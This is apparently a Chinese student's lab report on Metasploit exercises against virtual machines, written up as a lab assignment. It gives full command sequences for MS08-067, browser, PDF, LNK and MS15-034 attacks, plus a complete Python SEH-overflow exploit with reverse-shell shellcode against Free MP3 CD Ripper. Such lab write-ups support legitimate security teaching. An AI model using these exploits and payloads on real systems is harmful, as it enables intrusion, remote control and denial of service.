目录
1.实验内容
1.1一个主动攻击实践,如ms08_067; (1分)
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
2.基础问题回答
(1)用自己的话解释什么是exploit,payload,encode.
- exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中。
- payload也就相当于载荷,是我们exploit中shellcode中的主要功能代码,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
- encode也就是编码,是我们用来修改字符,实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
3.实验内容
任务一:一个主动攻击实践
漏洞MS08_067(成功)
关于漏洞MS08_067的原理
- 安全公告:KB958644
- 时间:2008年底
- 原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
- 详细原理说明:在规范化路径操作中,就是将路径字符串中'/'置换成''以及出去相对路径(例如:'.'),而服务程序在这部分的地址空间检查存在逻辑漏洞,攻击者可以在函数除去“..”字符串时,将路径字符串中的内容复制到路径串之前的地址空间中,覆盖掉返回地址执行shellcode(原理类似我们之前所做的缓冲区溢出攻击)
- 受影响的操作系统:windows 2000/xp/server 2003/server 2008/vista/7 Beta
- 影响:能远程主动发起对漏洞主机端口的扫描,并且能直接获得漏洞主机的系统权限,属于最高严重级别的漏洞
攻击过程
- 靶机:Windows XP SP3 English
- IP:192.168.19.145
- 主机:Kali
- IP:192.168.19.129
- 步骤
1.先用search ms08_067指令查询一下针对该漏洞可以运用的攻击模块:
2.用use exploit/windows/smb/ms08_067_netapi
使用该模块,再使用show payloads查看可以供我们使用的payload
3.我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp当payload,使用指令set payload generic/shell_reverse_tcp
对payload进行设置:
4.接着使用指令show options查看我们需要设置的参数,发现需要设置一个RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址):
5.show targets 查看这个漏洞波及的系统版本共71个,主要是xp和2003。我们也可以通过修改target的值,来选择我们具体想要攻击的计算机系统(通常可以采用自动选取,即target设置为0)
6.接着使用exploit指令开始攻击,攻击成功后获取了靶机的shell,使用dir指令查看目录文件:
问题
一开始用的老师给的xp中文版虚拟机,结果一直提示没有建立会话:
从学姐那拷了英文版的xp,后面就没有出现类似问题。
任务二:一个针对浏览器的攻击
ms11_050(成功)
关于漏洞的原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
攻击过程
- 靶机:Windows XP SP3 English
- IP:192.168.19.145
- 主机:Kali
- IP:192.168.19.129
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST [ip] 设置监听地址
set 设置监听端口
set 设置攻击Ip
exploit 开始攻击,并在靶机打开msf给的http网址
sessions -i num 查看开启的会话
- 攻击成功
ms14_064(成功)
漏洞原理
- Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本
攻击过程
- 靶机:Windows XP SP3 English IE8
- IP:192.168.19.145
- 主机:Kali
- IP:192.168.19.129
search ms14_064 搜索漏洞
use windows/browser/ms14_064_ole_code_execution 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST 192.168.19.129 设置监听地址
set LPORT 5230 设置监听端口
set URIPATH tky 设置url域名
exploit 开始攻击,并在靶机打开IE浏览器输入生成的网址,kali的8080端口监听获得连接,建立会话
sessions -i num 查看开启的会话
- 攻击成功
任务三:一个针对客户端的攻击
Adobe_toolbutton(成功)
漏洞原理
- 这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
- 本次攻击对象:windows xp sp3 Adobe 9.3.2
攻击过程
1.根据自己的需求选择攻击模块,将其载入。选用exploit/windows/fileformat/adobe_toolbutton
2.使用命令show payloads
选择要使用的payload(这里使用了windows/meterpreter/reverse_http
)
3.使用命令show options
查看相关参数设置要求
4.设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/
目录下成功生成了一个5230.pdf文件:
5.然后将该文件传送到靶机上(通过共享文件夹)并且在攻击机上打开监听
6.将靶机中的pdf文件打开,攻击机成功获取到靶机shell:
问题
最开始下载了adobe9.3,但是攻击不成功,总是会闪退
重新下载了adobe的版本——9.0即可
CVE-2018-8174(失败)
攻击过程
1.首先到GitHub上下载用于该漏洞的攻击模块
https://github.com/0x09AL/CVE-2018-8174-msf.git
2.下载到kali之中并查看一下目录是否成功下载,将CVE-2018-8174.rb复制到 fileformat 目录/:
cd CVE-2018-8174-msf/
cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ /*将CVE-2018-8174.rtf复制到 exploits 目录*/
cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
- 启动 metasploit
use exploit/windows/fileformat/cve_2018_8174
set PAYLOAD windows/meterpreter/reverse_tcp
set srvhost 192.168.19.129
set lhost 192.168.19.129
exploit
用靶机的 IE 浏览器打开恶意 URL,显示连接成功,但是没有返回shell
- 尝试了老师的方法word打开,这个漏洞只针对32位的word,下载了2013和2010版的都没能成功,一打开.rtf文件,word就会崩
最开始会弹此文档包含的连接可能引用了其他文件,以为有机会成功,但是不论选“是”还是“否”,最后都会弹内存不足
- 去网上查了一下,别人说告警内存不足一定是中了病毒。。。。。
看来这个漏洞已经被修复了。试了很多遍,在WIN7里和WIN10里都试过,还是没能成功
问题
最开始用CP命令拷贝文件到相应的文件夹下后,执行msfconsole会报错
看了一下报错的内容,最后一句意思大概意思是要使用小写,修改以后可正常执行
此处一定要将.rb文件名中的CVE变为小写,.crt不变
CVE-2017-8464(成功)
攻击过程
靶机:Win7
在开始之前先通过命令
search CVE:2018 type:exploit
找了一下CVE-2017和2018漏洞有哪些,其实很多英文参数看不懂,这时候百度就是个好东西,有很多漏洞要不就是涉及的知识我不懂,要不就是它需要的环境和软件我下载不下来,挑来选去选中了这个漏洞打开终端
msfconsole
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.19.129
exploit
- 2.将生成的.lnk文件全部复制到移动磁盘里面(u盘拷贝),然后在msf中开始监听
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST192.168.19.129
exploit
- 3.将可移动磁盘插入靶机中,如果靶机开启了自动播放,选择浏览文件时即可回弹。
CVE-2019-9766(成功且唯一)
漏洞原理
Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码
攻击过程
靶机:Win10
利用msf生成反向连接的shellcode,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest
- 替换脚本中的shellcode.
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81"
buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
pad = "B" * (316 - len(nops) - len(buf) )
payload = buffer + NSEH + SEH + nops + buf +pad
try:
f=open("TestFMCR.mp3","w")
print "[+] Creating %s bytes mp3 File..." %len(payload)
f.write(payload)
f.close()
print "[+] mp3 File created successfully!"
except:
print "File cannot be created!"
2.运行脚本,生成恶意mp3文件,python FmcrExploit.py
3.移动恶意文件到靶机windows10上
4.打开msf并设置监听
在主机上打开Free MP3 CD Ripper软件
回连成功!
任务四:应用辅助模块的攻击
MS15-034(成功且唯一)
原理
- 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
攻击过程
- 靶机:windows server 2012 R2
- IP:192.168.19.148
在正式攻击之前可以先用auxiliary中的扫描端口模块扫描受害机开发的端口
首先需要安装IIS服务
win12安装好iis服务后访问80端口,检测是否存在漏洞:使用curl发送以下数据
curl http://192.168.19.148 -H "Host: 192.168.19.148" -H "Range: bytes=0-18446744073709551615"
当出现Requested Range Not Satisfiable时说明存在漏洞。在msf中执行过程如下,原理与之前的一样
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
show options
set rhosts 192.168.19.148
set threads 10
exploit
- 哈哈哈哈哈哈 蓝屏攻击成功!
4.实践总结与体会
- 这次实验找了很多靶机和漏洞,本想实现一个18年的adobeflashplayer漏洞CVE2018-4878,但是找了很久发现都下载不了旧版本的插件,官网又要求其他网站不能提供下载地址,尝试了很久还是放弃了。接着又找了很多CVE漏洞,漏洞准备其实不算难,难的在于寻找靶机,前后一共找了5个靶机,分别是Win7 、Win Server 8 、 Win Server 12 R2 、 Win XP SP3 Ch-zn 和 Win XP SP3 English。有很多时候电脑反应特别慢,靶机还不上当
- 整个过程给我最大的感受就是官网提示的更新一定要尽早更新,有太多人心心念念着利用旧版本的漏洞实现各种各样的攻击,他们不会像我们这样获取用户的shell,而是从中非法获取私人信息。我还找到了一个可利用U盘进行传播的漏洞,这也是为什么很多涉密单位必须用加密的U盘,网络攻击无时无刻都存在,有不法分子谋取利益,也有国外敌对分子获取情报,我们一定要提高警惕,不要随意点未知的链接,及时更新,及时杀毒,太重要了。
5.离实战还缺些什么技术或步骤?
- 如何将恶意软件隐蔽的植入用户的电脑!